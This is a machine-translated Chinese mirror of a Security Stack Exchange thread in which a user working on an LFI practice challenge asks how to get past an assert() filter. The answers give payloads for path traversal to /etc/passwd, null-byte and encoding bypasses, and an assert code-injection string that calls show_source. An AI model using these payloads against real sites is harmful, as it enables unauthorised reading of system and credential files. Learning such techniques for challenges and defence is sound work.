首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法找到如何绕过lfi的此功能。

无法找到如何绕过lfi的此功能。
EN

Security用户
提问于 2016-12-29 22:49:12
回答 2查看 19.2K关注 0票数 1

我目前正在做一些关于安全和面临挑战的实践在一个网站上提供。其中一位谈到了LFI,我想出了该怎么做,但我不知道该如何做,所以让我们向您展示一下这个问题:

这是要黑的网址:

代码语言:javascript
复制
http://example.com/challenge27/?page=contact

我被要求在/etc/passwd中获得密码,所以第一个想法是尝试一些目录横过:

代码语言:javascript
复制
http://example.com/challenge27/?page=.

这会引发异常:

代码语言:javascript
复制
Warning: assert(): Assertion "strpos('includes/..php', '..') === false" failed

显而易见的是,strpos检测路径中'..'的每一次出现,断言检查此函数是否返回一个假值。

然后,我尝试在同一个url的末尾添加一个空字节。

代码语言:javascript
复制
http://example.com/challenge27/?page=.%00

这给了我另一个提示:

代码语言:javascript
复制
Warning: file_exists() expects parameter 1 to be a valid path

但是在这里我被阻止了,我的目标是像这样注入到/etc/passwd的路径:

代码语言:javascript
复制
http://example.com/challenge27/?page=../../../../etc/passwd

我觉得我可以利用空字节解决方案,但是在尝试了许多不同的urls之后--我得到了file_exists()警告或者assert()警告--我现在已经没有任何想法了,有人会给出更多的提示吗?

EN

回答 2

Security用户

发布于 2016-12-30 09:10:08

通常是路径,后面跟着空字节,以便在运行实际检索文件的代码。时终止字符串:

代码语言:javascript
复制
http://example.com/challenge27/?page=../../../../etc/passwd%00

请注意,空字节字符不能在最新版本的PHP中工作。

另一个挑战是如何让..通过过滤器。

试试这些以查看它们是否可以绕过此检查:

  • 尝试使用16位Unicode编码(. = %u002e)。
  • 尝试双URL编码(. =%252 e)。
  • 尝试超长的UTF-8 Unicode编码(.可以是%c0%2e%e0%40%ae%c0ae)
票数 3
EN

Security用户

发布于 2019-03-16 10:43:14

尝试将'作为输入传递。如果它抛出像Parse error: syntax error, unexpected ’’, ’’ (T_CONSTANT_ENCAPSED_STRING) in ...这样的异常,那么它就容易受到代码注入的影响。

在这种情况下,您可以打开以下任何文件:

代码语言:javascript
复制
' and die(show_source('/etc/passwd')) or '

更多信息在这篇文章

票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/146757

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档